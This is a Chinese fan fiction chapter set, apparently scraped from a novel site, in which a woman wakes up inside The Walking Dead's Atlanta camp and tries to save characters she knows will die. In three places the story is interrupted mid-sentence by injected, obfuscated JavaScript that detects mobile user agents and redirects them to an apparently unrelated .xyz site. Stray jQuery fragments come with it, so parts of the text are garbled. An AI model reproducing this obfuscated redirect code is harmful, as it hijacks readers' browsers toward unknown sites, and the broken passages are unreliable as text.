《行尸走肉之弩弦与剑鞘》 1. 亚特兰大营地 如果说有什么比丧尸更扯的,一定是穿越进了丧尸剧里。 前一秒,我刚看完了《行尸走肉》十一季,准备继续追《行尸之惧》,结果发个呆的功夫,再睁眼,一只活生生的行尸从两棵树中间朝我扑来。我从没近距离观察过这种鬼东西,他的身上一半都是腥臭的污血,头颅像是被猛兽啃食过,只剩下右半边脑子,下颌的皮肉几乎溃烂,露出里面的白骨,身上松松垮垮披了件绿色格子衬衫,裸露在外的皮肤呈现出灰色,青筋也是黯淡的黑,还不停发出低吼,深深凹陷进去的眼睛死死盯着我。 这可比看剧还刺激,我哪里见过这种阵仗,行尸浑身散发的臭味冲进我的鼻腔,顾不得干呕的欲望,拔腿就跑。这时,我才发现原来自己身处一片密林,分不清东南西北,更不知道该逃往何处。 突然,我耳边响起“咻”的声音,紧接着是重物倒地,以及不紧不慢的脚步声。我不敢停下,战战兢兢回头望去,登时愣住了。 追赶我的行尸已经面朝地倒下,他的脑袋上插着一支弩箭,此刻一动不动,应该是死了。弩箭的主人吊儿郎当地走近,轻松拔出弩箭,抬眸瞥向我,我认得他,是《行尸走肉》里的达里尔,短发时期的达里尔,他的身边还有个人,是他的哥哥莫尔。 原来我是穿越到《行尸走肉》的世界里了吗。 还不等我消化这件离奇的事,莫尔上下打量着我,渐渐逼近。 “我们救了你,你该给我们点什么。”我的英文并不算好,但能勉强听懂莫尔的意思,告诉他我一无所有。 然而莫尔不打算就此放弃,他离我越来越近,直到我能闻见他身上几天没洗过澡的臭味。 “够了。” 与哥哥截然不同的达里尔按住莫尔的肩膀,用同情的眼神看着我,说道:“她确实一无所有,该回去了。” 莫尔显然不高兴,但他愿意偶尔听听弟弟的话,两个人转身就走。他们是出来打猎的,一头中了箭的鹿此时正奄奄一息地躺在不远处的树下。血吸引来了附近的两只行尸,我被吓得大气不敢喘,眼睁睁看着达里尔与莫尔两个人利落地解决掉行尸,熟练得像个老手。 “等等!”我出声喊住他们,“带我一起走,我不想死。” 这兄弟两人仿佛没有听见我的话,头也不回地离去,我赶紧追上前,再次央求他们收下我。 “小姑娘,你应该好好学学英语,说得太蹩脚了。”莫尔讥讽我的发音。 我顺从地应下他的话:“我会好好学的,求你们收留我,带我一起走,我绝对不会拖累你们,如果因为我发生什么意外,你们可以杀了我。” 他们没想到我如此坚决,愿意把性命交到他们手上。达里尔的眼中闪过异样的神色,抬了抬下巴,示意我跟上。我连忙道谢,称他们是好人,夸赞他们两个厉害,英俊,企图博得好感。 对莫尔阳奉阴违兴许有点作用,但对达里尔则适得其反,他凶狠地让我闭嘴,命令我安静,兄弟两人的态度互换,这次轮到莫尔袒护我了。 跟随他们穿行密林,我无时无刻不提心吊胆,生怕突然冲出来的行尸抓住我的胳膊就一口咬下去。我不明白自己为什么会来到这个世界,难道是因为这几天通宵追剧出现了幻觉,还是说这其实是梦,如果是梦,未免太过真实了。 没多久,眼前的景象变得开阔,我跟着达里尔和莫尔来到一片靠着河流的空地,这里是个山谷,有一辆白色的房车,其他几辆车与帐篷,还有我熟悉得不能再熟悉的那些人。 他们每个人都盯着我看,但没有人与我打招呼,末世降临,大家都是艰难的求生者,同病相怜,无需过多的言语。 不过,一名与我一样黑头发,黄皮肤的男人慢悠悠走过来,他开口是韩语,我听不懂,但眼泪不由自主地流出眼眶。 格伦,被尼根杀了的格伦。我始终忘不掉格伦下线的场景,一切都发生得太过突然,我用了好几天的时间才接受他的死亡,当时真是想弃剧了。 “抱歉,我来自中国。”我告诉他,他立即换成英语与我交流。 “哦,没事,我们挺近的。”格伦从口袋里拿出卫生纸递给我,指了指我的眼角,我没收下他的纸,而是用手擦掉眼泪,听他继续说道,“很吓人对吧,我第一次见到行尸的时候差点吓尿裤子,习惯就好了。” “谢谢你。”我点点头,目光扫过营地的每个人,洛莉和卡尔、肖恩、安德莉亚和她的妹妹艾米、戴尔、卡罗尔一家、还有将来分道扬镳,之后出现在救世军维修站的莫拉莱斯一家,以及过不了多久都会死去的其他人。 看剧的时候,我曾无数次想象自己与他们并肩战斗,然而一切成真,我又感受到深深的恐惧。我的脑中再次闪回死亡的片段,有眼前这些人的,也有以后会遇见的那些人的,他们的死亡或平静,或震撼,或大快人心,或心如刀割。可是有些人不该就那样死去,他们还没有好好道过别,留下太多的遗憾与悔恨。 难道这就是我穿进剧中的原因吗,我知道未来会发生的一切,我可以改变剧情的走向,我可以挽救生命,阻止悲剧的发生。 恍然间,茅塞顿开,醍醐灌顶。 不明所以的格伦满脸疑惑地看着我,他也许觉得我被吓傻了,我抹掉脸上滑落的泪水,深吸一口气,挤出笑容对他说道:“很高兴见到你们,我叫安。” “欢迎你来到这里。”说话的是肖恩,他抽空从林中走过来,刚刚一直在忙活着什么,我朝他身后瞟了一眼,是一排排挂在树枝上穿起易拉罐的警示机关,林中还有另一个人仍在全神贯注地制作着,那是将被行尸咬到的吉姆。 我很敬佩肖恩,他不该有那样的结局,如果他能一直与瑞克并肩战斗,瑞克也不会成为美剧里最累的男主之一吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790937|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那两个人在林子里救了我,我无处可去,求他们收留我。”我指向处理野鹿的达里尔与莫尔,尽量放大面对行尸时的胆怯,说话都颤颤巍巍的,好似真被行尸吓破了胆,不过事实也确实如此。 “他们两个还能救人回来,真是太阳打西边升起。”肖恩撇嘴笑着。 格伦附和道:“是啊,那两个家伙没把你洗劫一空吗?” 我摇摇头:“我什么都没有。” 黑夜很快降临,我与格伦坐在火堆边,等待肖恩他们分发食物,是达里尔把一块鹿肉递给我,我小口撕咬,意外的美味,腹中饥饿感加剧,大口咀嚼起来,一口还没嚼烂就囫囵吞下去,没全部咽完就又咬了一口。于是,我哽住了,使劲拍打胸脯,格伦递给我一瓶水,我接过饮了一半,将堵在咽喉的食物吞进肚中,再也不敢狼吞虎咽了。 “这是你今天第一顿吗?”格伦问我。 “是,我饿得几乎能吃下一头牛。” 听到我这样的比喻,围坐在一起的几人笑出声,其中就有洛莉和卡尔。 面对年幼的卡尔,我一想到他充满血与泪的成长史,就觉得心痛不已。明明他可以长成继瑞克之后杰出的领导者,却因为救人被行尸咬伤,最后自尽,真是充满戏剧性。 注意到我灼热的视线,卡尔也看了过来,他小小的脸上没有笑容,对我满是戒备,依偎在母亲洛莉的怀中。我知道洛莉与肖恩之间的关系,他们也不避讳,因为都以为瑞克已经死了。 想到这里,我看向另一个火堆去寻找索菲亚的身影,这个孩子的离去对小队而言无疑是沉重的打击。卡罗尔的丈夫蛮横粗暴,欺软怕硬,他一定不会想到在未来,卡罗尔会成为多么强大的女性,与现在判若两人。 “家暴的男人都该去死。”我小声嘀咕,却被格伦听见,他听不懂我说的中文,我便用英语重复了一遍。 “我知道你说的是谁,我们都这么希望。” 我笑了笑,不禁感慨,对他说道:“你以后肯定会对妻子很好。” “谢谢,不过我还能在这个世界结婚吗?” “也许吧。” 过了一会儿,大家决定明日去城里搜寻物资,去的人里有格伦、莫尔、安德莉亚、T仔等。熟悉的阵容让我为之一怔,就是他们遇见了瑞克,格伦帮助瑞克逃出生天,从而有了之后的故事。 我无比期待着瑞克的现身,他将带领这个团队与行尸、人类抗争,他会影响很多人,也会受到别人的教导,每一个人都会成长,变得坚韧、勇敢、并保持永不泯灭的善良,在末世熠熠生辉。 不过,瑞克出现的第二天晚上,行尸来袭,营地变成坟地,如果我能在那场危机中救下本应死去的人,比如艾米和吉姆,是不是就证明我拥有改变的能力,从而在不久,与许久之后的将来,拯救更多人的生命。 我坚信,事在人为。 2. 无线电台 来到营地的第一个晚上,我与安德莉亚姐妹两个挤在帐篷里,她们感情很好,睡前相互鼓励,共同迎接第二天的太阳。艾米问了我一些末世前的事,我随口编造自己是个刚到亚特兰大的游客,结果碰上行尸爆发,她们为我感到不幸。 一夜无眠,我蜷缩在单薄的毯子里,外面任何风吹草动都令我胆战心惊,始终无法入睡,以至于第二天天没亮,我就从帐篷里钻出来,到河边捧起一掬清水泼向自己的脸,将散乱的头发扎成一个高马尾,这样起码不会在逃跑的时候遮挡视线。 忽然,一声哨响从身后传来,不用想就知道一定是莫尔。 我转过身,正是持有猎枪的莫尔与拿着弩的达里尔。 “这么早就醒了,该不会是要偷我们东西吧。” 一点也不意外莫尔说出这种话,我干笑两声,丝毫不示弱:“要偷的话,我应该半夜就偷了。” “嗯,是啊。”莫尔抬起右腿,将脚边的一块石子踢进河里,水花溅起打湿我的裤腿,达里尔瞟了我一眼,眼神中带着歉意,他向来对女士还算绅士。 营地众人陆续睡醒,大家在一起制定计划,听从肖恩的建议,与亲人、朋友拥抱道别,六人小队出发了。与格伦他们同时离开的还有达里尔,没有人问他去哪里,去做什么,他和莫尔两个似乎总因为火爆的脾气与尖酸刻薄的言语难以融入大家。我昨晚听到有人说莫尔的坏话,等莫尔走近,那人住了嘴,被莫尔狠狠踢了一脚,却不敢有怨言,而达里尔就坐在不远处,脸上挂着活该的笑。 “安,你去哪?” 见我要走,艾米出声询问。 “我想去林子里看看,说不定能找到吃的。” “你小心些,带把刀吧。” 我想了想,还是没有带刀,决心不走远,只往达里尔消失的方向追去,试试能不能找到他。 这片树林一眼望不到尽头,给我一种这里就是全世界的感觉,静悄悄的,连鸟鸣声都没有。走了百来步,我就后悔了,因为我在林中分不清东南西北,想通过太阳分辨,可今天是阴天。我不敢大声呼喊达里尔,担心引来行尸,也不敢跑动,脚步声在林中同样异常响亮。 惨了惨了,我心想,这下连回去的路都找不到了,该不会我的宏伟大计还没开始就夭折了吧。正当我倚靠一株枯树叹气时,树干的另一边发出细细簌簌的动静,我心一紧,难不成这么倒霉遇到行尸了吗?早知道就听艾米的话带把刀了。 还没习惯行尸世界的我难以控制打颤的双腿,一点一点慢慢后退,远离那棵树,双眼在地上找寻可以当作武器的东西,哪怕是一根尖锐的树枝也好,能让我插进行尸脑袋里。 响声越来越大,我立即转身逃跑,却听见熟悉的男人嗓音。 “你不在营地待着,出来找死吗?”还真是和他哥哥一样说不出好听的话来。 “我看你往这边走了,跟过来向你道谢。” “昨天的事吗,”达里尔放下一直抬着的手臂,原本对着我的弩箭此刻朝着地面,“不然你以为我们怎么有那么多人。你现在赶紧回去,这周围可不安全。” 我还有想说的:“你是在打猎吗?你的弩用得很好,可以教我吗?我也想救人,保护大家。” 达里尔不屑一顾,用严厉的口吻命令我赶快回到营地。 “我不会放弃的。”留下这句话,我顺着他指引的方向,很快就看到了房车,装作什么也没有发生,走到艾米身边,帮她搬用来生火的树枝。 因为安德莉亚随小队进城,艾米很是担心,她刚要张口与我说话,我们就听到一阵电流滋滋的声音,其中夹杂着模糊的人声。 “有人吗,可以听到我的声音吗?”电台里传来男人的话语,是瑞克,他已经在来亚特兰大的路上。 艾米急急忙忙跑过去,用对讲机回复道:“是的,我可以听到!你快到了,完毕。” 我和戴尔都围了过来,瑞克似乎听不到艾米的声音,一直重复着“听到请回话”,他正沿着85号州际公路开往亚特兰大。 “我们就在城里,”艾米说得很慢,将每个单词都说得清清楚楚,希望瑞克可以收到,然而电台里不再发出人声,取而代之的是嘈杂的电流,“喂?喂?他听不到我的声音,我没办法提醒他。” 戴尔提议用无线电再联系试试。 我知道这没有用,叹了口气,注意到不远处坐着的洛莉和卡尔,心中五味杂陈,修罗场即将上演。 这时,肖恩拿着斧子过来,他将斧子劈在桌上,从艾米手中接过对讲机。 “喂,呼叫人还在吗?我是肖恩·威尔士警官,呼叫不明人士,请回话。”等待片刻,仍然没有反应,“他不在了。” 众人面面相觑,洛莉耸了耸肩:“还有别的人活着,不只有我们。” “是啊,意料之中,所以民用波段电台才一直开着。” “这电台的确挺有用处。”洛莉表达她的观点,“我们应该在85号公路上放些标志来提醒人们远离城里,这话我已经说了一星期了。” 艾米补充道:“人们不知道如今城里已经是行尸的天下。” 肖恩心有余而力不足:“我们没有足够的时间。” “我们得腾出时间来。”洛莉十分坚持。 “是,这个……这一点我们无能为力。我们有幸活下来,活一天算一天。” 我有点同意肖恩,谁也不敢保证在放置路牌的时候会遭遇什么,在没有足够的武力支撑下,不能轻易冒险。 “那你建议派谁去?”戴尔问洛莉。 “我去,给我辆车。”洛莉执意如此。 肖恩听后立即反对:“你知道谁都不准单独行动。” 一阵沉默,洛莉不情不愿地应道:“遵命,长官。”说完,她走远了。 卡尔想跟上妈妈,被肖恩拦下:“嘿嘿嘿,过来坐下,孩子,没事的,没事的。”支走卡尔,肖恩独自去追赶洛莉。 之后他们会发生什么,用脚趾头都能想到。 我看向卡尔,他没有按照肖恩说的乖乖坐下,而是朝另一个方向跑去。 此时此刻,瑞克应该到了一间农舍,他会在那里找到一匹马,骑着马进入亚特兰大,不慎遇见尸群,被困到坦克里,险些丧命,然后格伦会救下他。 时间一点一点过去,我与戴尔一起在房车顶部观察四周的情况,他简单与我说了些众人是如何聚集在一起的,营地里,肖恩无疑是领导者,他帮助了不少人,有些人服他,有些人不服。 “迪克森兄弟,对吗?”我随口一说,戴尔惊诧地望着我,“他们在林子里救了我,把我带到这里,我相信他们并不坏,与他们比起来,卡罗尔的丈夫才算得上恶魔。” “你已经把所有人都看透了。” 我摇摇头,通过望远镜我发现了打猎的达里尔,他离我们很远,我只是能看见他灵活的身影。 “戴尔,我出去一次。” 我与戴尔同时看向洛莉,她拿着一个小小的红桶,叮嘱一旁玩耍的卡尔:“宝贝,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790938|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出戴尔和安的视线,好吗?” “好的,妈妈。” 戴尔朝洛莉的背影同样叮嘱:“你也是,别走太远了,走得太远就听不到喊声了。你要是看到了什么就大吼,我们很快就到。” 洛莉嘀咕了一句,兀自走进林中。 如果我没记错,她应该是说了和卡尔一样的话,并且肖恩会找到她,两个人在林中不知天地为何物。想到这里,我没忍住笑出声来,从房车上下去,蹲在卡尔身边,问他在玩什么。 “没什么。”他语气冷淡。 “索菲亚呢?” 我四处张望,在河边寻到了索菲亚,她正和卡罗尔待在一起。 “你很坚强,”我不禁这样说道,“卡尔,也许你父亲还活着,很快就能团聚。” 他抬起头,我从他的眼神中看出他也这么认为。 “真的吗?” 我摸了摸他柔软的头发,点头回答:“也许。” 接着,我来到河边,询问卡罗尔有什么需要帮忙的,她的笑容很和善:“谢谢,我自己可以搞定。” 我安静地待在她们母女身边,一刻也不离开,有我这个初来乍到的陌生人在,卡罗尔的混蛋丈夫艾德多少会收敛一点,因为救我回来的人是比他更混蛋的迪克森兄弟。 天色渐晚,格伦一行仍然未归,若到了夜晚再不回来,生死难料。 艾米越发着急,来回踱步:“很晚了,他们应该回来了才对。” 正在修车的戴尔应道:“担心也没用。” 大家有条不紊地做着自己的事情。我安慰艾米:“没事的,他们应该在回来的路上了。而且他们带枪了不是吗,他们能保护好自己的。” 艾米发出沉重的叹息,她根本静不下来,只有通过不停的走动让自己分心,但无济于事,紧绷着双肩,绞着手指,心神不宁。 好在这时,电台响了。 “呼叫营地,有人能收到信息吗?营地,我是T仔,有人收到吗?” 大家齐齐聚来。戴尔爬上房车顶部,拿起对讲机:“喂?喂?这边信号不太好,请重复,请重复。” “肖恩,是你吗?我们有麻烦了。我们被困在百货公司里。这到处都是行尸,有成百上千个,我们被包围了。” 听到T仔的话,众人皆担忧起来,戴尔让T重复一遍,却没有了回应。 艾米眉头紧皱,我牵起她的手,说道:“会没事的,他们会脱困的。” 洛莉想要去找他们,但被肖恩拒绝,肖恩不会让剩下的成员冒险。他的话没错,毕竟目前营地里有战斗能力的除了肖恩外,别无他人。达里尔外出未归,卡罗尔还未觉醒,卡尔尚小,肖恩要为所有人考虑。 “就这么撒手不管吗?”艾米瞪着肖恩,脸色难看极了。 “艾米,我知道这很难接受。” “为了我们大家,她自告奋勇前往城里!” 肖恩点头:“我知道,但安德莉亚清楚其中的风险,对吧。如果她被困住,她就死定了。我们得接受事实。我们无能为力。” 这是我第一次真切地感受到肖恩与瑞克之间的差别,同样的情况,瑞克一定会想方设法地营救,并尽最大努力让损失最小化,瑞克不会放弃任何一位伙伴。 “她是我亲姐姐,你个狗娘养的!”艾米骂完就跑走了。 至少在这一点上,洛莉与瑞克是同样的人,她失望地看了一眼肖恩,然后去追艾米。 天空中隐隐响起雷声,大雨将至亚特兰大。 3. 新的领导者 空旷的山谷内,响彻天际的汽车鸣笛声惊动了营地众人,我与戴尔站在房车顶部,他用望远镜看见一辆红色的跑车朝这边疾驰而来。 “呕吼,真是酷啊。”我听后不由得感叹。 “酷吗?我只觉得这像是提醒行尸们开饭的铃声。” 焦急如麻的艾米跑过来问道:“是他们吗,他们回来了吗?” 该说不说,姐妹两个之间的感情令我动容,我回头对艾米喊:“也许是的!” 鸣笛声越来越清晰,红色跑车已到了眼前,格伦从车上下来,脸上洋溢着笑容,看来这一趟他玩得很开心。 “靠,把那破报警器关了!”巨大的声响会吸引来行尸,戴尔有些恼怒。 格伦摊开双臂无奈回道:“我不知道怎么关。” “把车前盖打开,听到没有,打开前盖!” “我姐姐安德莉亚她好吗,她没事吗?她回来了吗?” 肖恩与艾米同时出声,他们都很着急,大声说着话,与不停响着的鸣笛声混在一起,吵得格伦耳朵痛,连忙应着坐回车内打开车前盖,并有些不耐烦地对艾米说:“是的是的,她没事,她没事!” “那她怎么没有和你在一起?她在哪?真没事吗?” 吉姆关掉跑车的报警器,营地内只剩下艾米焦急的询问,她快哭了。 “都没事,大家都没事,”格伦的语气渐趋低沉,“除了倒霉的莫尔。” “你疯了?开辆哀嚎的破车回来,非要把那堆臭行尸都引过来吗?”肖恩说的有道理,这波我站肖恩。 戴尔安抚大家:“我觉得我们没事。” 我正从房车上爬下去,诧异地看向戴尔,他刚刚可不是这么说的。 “这他妈还叫没事?”肖恩肃声反问。 “警报器的声音会在山谷里回响,根本辨别不出位置。”说完这句话,戴尔瞧见肖恩的脸色越来越臭,“我不是在争论,我就是说说。格伦,下次你不能长点脑子吗,又不会缺胳膊少腿,行吗?” 意识到自己的行为会给营地带来麻烦,格伦真诚地道歉,找了个台阶下:“好歹搞了辆酷车。” 这时,一辆白色的货车出现在众人视线中,停在跑车后面,随着车厢的闸门被打开,安德莉亚心急如焚地跳下来,跑向她的妹妹:“艾米!” “安德莉亚!”姐妹两个为还能再见喜极而泣,紧紧地拥抱在一起。 出去的人除了莫尔基本都活着回来,大家稍稍放下心,适才紧张的神色也都不复存在。我往前靠了靠,用拳头轻轻捶打格伦的后背,恭喜他平安无事,明知故问道:“你们怎么逃出来的?” “有个新来的帮了我们,”格伦的回答引起众人注意。 “新来的?”肖恩疑惑,是谁有如此神通帮助大家从被行尸包围的百货大楼逃出生天。 “是的,那个疯子跑进了城里。” 莫拉莱斯紧跟着格伦的话,呼唤坐在驾驶位的家伙:“直升机大哥,来跟大家打个招呼。” 我们顺着他的目光望去,身着警服的瑞克满身狼狈地开门下车,两只手插在腰间,微微弓着背,对我们保持有警惕之心,以及不请自来的难为情。 “和你一样,那老兄也是警察。” 随着莫拉莱斯话音落下,瑞克走到大家面前,他的眼睛陡然睁大,与肖恩的目光碰撞。洛莉与卡尔也偏过头,想看一看是谁救了格伦一行。 “天呐!”瑞克的脚步变得轻快,眉目舒展,他不仅在此处见到好友,还与心心念念的妻儿重逢,莫大的惊喜使他忘却刚刚经历的凶险,一扫疲惫,大步冲奔过去。 “爸爸!爸爸!”看清了来人是瑞克,卡尔松开洛莉的手,母子二人也朝他奔来,他抱住卡尔不撒手,亲吻儿子的脸颊,声音因为哽咽而颤抖,脸上憋得通红,走向满脸震惊的洛莉。洛莉的眼眶同样盛满泪水,夫妻相拥,一家三口团聚。 夜晚,雷声阵阵,瑞克向众人述说自己从医院醒来后无所适从的感受,卡尔在他怀中,洛莉与他肩膀挨着肩膀。这里的每个幸存者都有着同样的体会,行尸爆发,世界末日,秩序与文明消逝,仿佛每个人都被从世间隔离了出去,犹如陷进昏睡不醒的噩梦,可这并非是梦,而是残酷的现实。 谈话间,我想到未来会发生的事情出了神,在座的各位中唯有瑞克、卡罗尔以及在外打猎的达里尔活到最后,而这是此刻的大家难以预料的,往后还有比今天亚特兰大更加凶险的意外,来自丧尸,来自同类。 悲伤爬上我的心头,我下意识看着格伦,他的眼睛被火光衬得亮晶晶的,脸上挂着轻松的笑容。 “嘿,你怎么了。”许是被我盯得不自在,格伦伸手在我眼前晃了晃。 “没什么,看到你安全回来我很高兴,我可不想我的邻居出事。” 我随口搪塞,转而去听其他人在聊什么,肖恩说到自己废了好大的劲才救下大家,他也许是终于有了好友可以倾诉不易,又或许是在向瑞克表明自己是营地的领导者。 瑞克没有多想,表达对肖恩照顾妻儿的感谢,可我却看见洛莉与肖恩两人眼神中的闪躲。大家都知道他们之间的关系,心照不宣,戴尔出声打破尴尬,但肖恩不想借坡下驴,转移注意力,朝艾徳喊话让他停止添加柴火这种破坏规矩的行为。 大火的光亮也会引来行尸,可艾德不听劝告,还没好气地叫板。 肖恩不悦,起身走到艾德身边,他可不想在好友兼情敌的瑞克面前丢脸,一句话便让艾德让步,艾德指挥卡罗尔灭火。 虽然肖恩在某些时候不招人喜欢,但他会关心卡罗尔与索菲亚。这对长期遭受家暴的可怜母女,在末世生存本就艰难,还要忍受艾德的辱骂与毒打,我恨不得今晚就来行尸把艾德咬死算了。 意识到自己的想法是错的,我摇晃脑袋赶走思绪,盯着火堆平复心情。 “你想过怎么和达里尔·迪克森说了吗?”肖恩回来坐下,戴尔提起这件难办的事,“他要是知道自己的哥哥被抛弃肯定不高兴。” T仔主动承担责任:“我来和他说,是我弄掉的钥匙,我自己担着。” “不,”瑞克对不幸的莫尔怀有歉意,“是我铐的他,所以是我的事。” 鉴于白天T仔与莫尔之间的矛盾,格伦并不赞同T仔:“伙计们,这没什么好争的,我不想扯到种族问题,不过说成白人做的应该好点。” 艾米提醒我们可以撒谎,安德莉亚却认为应该实话实说,毕竟莫尔当时失控,手上有枪,与楼下的行尸比起来,他更加危险。 “就跟达里尔这么说吗?我觉得他可不会和你讲道理,你说呢?”戴尔总是清楚这里每个人的脾性,安德莉亚低下头,不再说话,“等达里尔打猎回来,我们就有的忙了。” 翌日。天大亮,我早早起来帮卡罗尔洗衣服,她把瑞克换下来的衣服也洗了,并在里面发现一颗手雷,我示意她不要声张,小心收起来就好。没过多久,戴尔他们开始拆格伦开回来的跑车,格伦满腹牢骚无从发泄,跟个怨妇一样眼睁睁看着他们对自己的宝贝动手动脚。 “也许你和索菲亚应该摆脱他。”我若无其事地把这句话说出来,就像是在拉家常,卡罗尔听后差点把洗干净的衣服掉到地上。 她轻咬嘴唇,没有说话,一脸的凝重。 “只有懦弱的男人才会把暴力施加在女人身上,因为他们欺软怕硬。” 瑞克好巧不巧从我们面前走过,我调转话头跟他打招呼,卡罗尔也强装镇定,向瑞克道早。 “就算不为自己考虑,也要想想索菲亚,她是个孩子,仅仅保护孩子不受行尸侵扰是不够的,更深的伤害来自于身边。”等瑞克走后,我不罢休地劝说卡罗尔,该给她时间慢慢想想,“这里交给你,我去找索菲亚和卡尔。” 与此同时,肖恩开车带回了水,我瞥向其乐融融的众人,抓紧往林子走去,不多时,孩子们的呼喊声乍起,众人皆惊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790939|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“索菲亚!卡尔!” 孩子们从林子里迎面跑来,我抱住索菲亚,把她交给匆匆赶到的卡罗尔,随后与拿着枪的瑞克他们继续深入,腥味弥漫,一只行尸正在啃食被弩箭射中的野鹿。 这一次我不再胆怯,与大家一起将行尸围住,但我手中没有武器,瑞克叫我后退,行尸抬起头,嘴边全是新鲜的鹿血,众人合力殴打行尸,戴尔一斧子砍下行尸的头。 “头一回在这里碰上。”戴尔不免忧虑,“他们从没跑这么远到山上来。” 吉姆说道:“城里没吃的,所以跑上山了。” 大家没有多想,我看着野鹿身上的弩箭,告诉他们:“这是达里尔的猎物。” 林中再次传来响声,众人警觉,肖恩举起猎枪靠近不远处的大石头。 石头后面,比人先出来的是达里尔的弩。 “狗娘养的!那是我打的鹿!”达里尔发现自己的猎物被行尸毁了,气得踹了行尸好几脚,“瞧瞧,都让这个肮脏的,染了病的,没妈的杂种糟蹋了!” “算了孩子,这没用。” 安慰的话在达里尔这也没用,他怒冲冲对戴尔发脾气:“你知道个屁,老不死的,戴着你这傻逼帽子回你的‘金池塘’去吧。老子大老远追着这只鹿,想把它带回营地,让大家多吃点鹿肉。嗯?你们觉得怎么样,把行尸咬掉的这部分割掉怎么样。”他一边说,一边收回箭矢,在野鹿的尸体上比划着。 他似乎是才发现我也在,愣了一下,摸着下巴继续说:“我猎了些松鼠,十几只,这总能吃吧。”达里尔不小心踢到行尸的头,戴尔只是把头砍下,并没有真正杀死行尸,掉落的头颅还在咬合着牙齿,发出低沉的吼声。 达里尔举弩射穿行尸的脑袋:“要命中头才行,你们连这都不懂吗?” 他从瑞克身边走过,回到营地,呼喊莫尔的名字,脏话从他嘴里像音符一样蹦出来,却无人回应,他很快意识到不对劲,又听肖恩说有事要告诉自己,不妙的预感涌上心头。 “他死了吗?”达里尔试探地问。 肖恩答道:“还不确定。” “他是死是活你怎会不知道!” “我只是不能确定。”瑞克走过来,他向达里尔说明原委,并在达里尔怒火中烧重复经过的时候点头承认是自己把莫尔铐在了百货大楼的天台。 迪克森兄弟两人之间的感情不亚于安德莉亚姐妹,达里尔将手中十几只松鼠朝瑞克砸过去,下一秒便被肖恩扑倒,他解开腰间的刀,恨不得杀了瑞克,然而有肖恩帮忙,他不仅伤害不了瑞克,自己也被肖恩禁锢住,仍在拼命挣扎。 瑞克要求冷静下来谈这件事,T仔坦白是自己不小心把钥匙弄掉,害莫尔生死未知,但他把天台的门锁了,行尸不会全部涌进去。 “你们都给我去死!他在哪?我去救他出来!”达里尔语带哭腔。 洛莉神色平淡,说起气话:“他会带你去,对吧?” 瑞克望向妻子,做出决定:“我要回去。” 看来夫妻二人已经讨论过莫尔一事了。 瑞克回到帐篷穿上警服,肖恩持反对意见。行尸已经离营地越来越近,他们眼下最重要的是保护营地,而不是动用人力去救莫尔那样的人渣。洛莉也是这么认为,她清楚丈夫的品格,但她不愿久别重逢的丈夫冒险,她怕会再一次失去瑞克。 并且卡尔也不想父亲离开。 最终,瑞克以自己从警局带来的枪支弹药都在城里为由,说动肖恩,至于洛莉的反对,他也说出了摩根父子的事情,执意要拿回有用的对讲机。 这下,他们没理由再拦着瑞克了。 趁几个人准备的时候,我找到达里尔,酝酿许久才敢开口:“莫尔一定还活着,我的直觉很准。” 他没有理我,一言不发,默默擦干净弩箭上的血,收拾妥当后走向瑞克,他们再次出发前往亚特兰大,这又是一趟凶多吉少的冒险,而营地中也将发生变故。 4. 惊慌之日 我仍对卡罗尔的事情放心不下,与她们一起到河边,帮营地的男人们洗衣服。 和她们待在一起我感到无比的轻松,美中不足的就是艾德一直在后面看着我们,仿佛监视般,令我不自在,因此时不时瞟向他。注意到我不善的视线,他的眼神中透着凶狠,而我并不怕他,直接瞪回去。 “说真的,”我捏了捏发酸的肩膀,对卡罗尔说,“你的发型好酷!” 也许是第一次被人夸赞,卡罗尔一时愣住,回道:“谢谢。” “我在考虑要不要也把头发剪了,至少不用麻烦地洗头。”照着水面,我抚摸扎起来的马尾辫,想象自己光头的模样,脑海中却浮现出阿尔法的脸,吓得我一怔,“算了,我还是舍不得。” 艾米叹了口气:“我也想过,可是之前每天精心打理头发,已经有感情了,好想念我的高档精油。” “还有美泰克的洗衣机。”安德莉亚拿刷子一下接一下擦过浸水的衣服,“我想念我的奔驰和导航系统。” 雅基也说道:“我想念我那台带有双向滴漏过滤器以及内置研磨器的咖啡机。” 她们怀念起末世前的日子,我却不知道该想念什么,毕竟我本来就不属于这个世界,以后还能不能回去都是个问题,说不定哪天就被行尸咬死,或者被人类杀害。 “我想念我的按/摩/棒。” 安德莉亚冷不丁的一句使我忍俊不禁:“天呐哈哈哈!”这太符合她了。 卡罗尔听后,回头瞥了一眼艾德,见对方并没有过多地关注我们这边,挤出一个笑容,缓缓开口:“我也想。” 这下,我们所有人都发出爽朗的笑声,惊讶于内敛的卡罗尔还有放肆的一面。 “安,”艾米叫我,“你会吗?” 